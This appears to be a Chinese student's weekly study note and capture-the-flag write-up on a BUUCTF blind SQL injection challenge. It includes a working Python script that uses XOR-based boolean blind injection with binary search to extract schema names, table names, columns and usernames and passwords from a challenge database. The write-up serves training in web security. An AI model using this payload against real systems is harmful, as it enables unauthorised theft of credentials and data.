每周学习总结
-
打开网页链接:
这里对输入框进行输入根本没用,这道题提示了我们 SQL 注入,现在照着提示点击 -
第五个显示:
这里我们查看第六个页面:
-
结合网页给的提示这里可能是一个注入点而且是盲注,然后使用 burp 进行测试过滤了那些,过滤了空格等等,这里我使用 sqlmap 进行盲注但是不会怎么用,在网上找的 大佬的 payload
import requests import time url = "http://269eac17-6039-4ac9-a491-e6e090ef7bd5.node4.buuoj.cn:81/search.php" temp = {"id": ""} column = "" for i in range(1, 1000): time.sleep(0.06) # 间隔时间 low = 32 high = 128 mid = (low + high) // 2 while (low < high): # 库名 第一个 %d 是指第几个字符 第二个 %d 是指当前字符的大小 # temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid) # 表名 # temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid) # 字段名 # temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid) # 内容 temp["id"] = "1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid) # r = requests.get(url, params=temp) time.sleep(0.04) print(low, high, mid, ":") if "Click" in r.text: low = mid + 1 else: high = mid mid = (low + high) // 2 if (mid == 32 or mid == 127): break column += chr(mid) print(column) print("All:", column)
-
最后就可以获得flag
总结
- 需要对页面展示的信息进行分析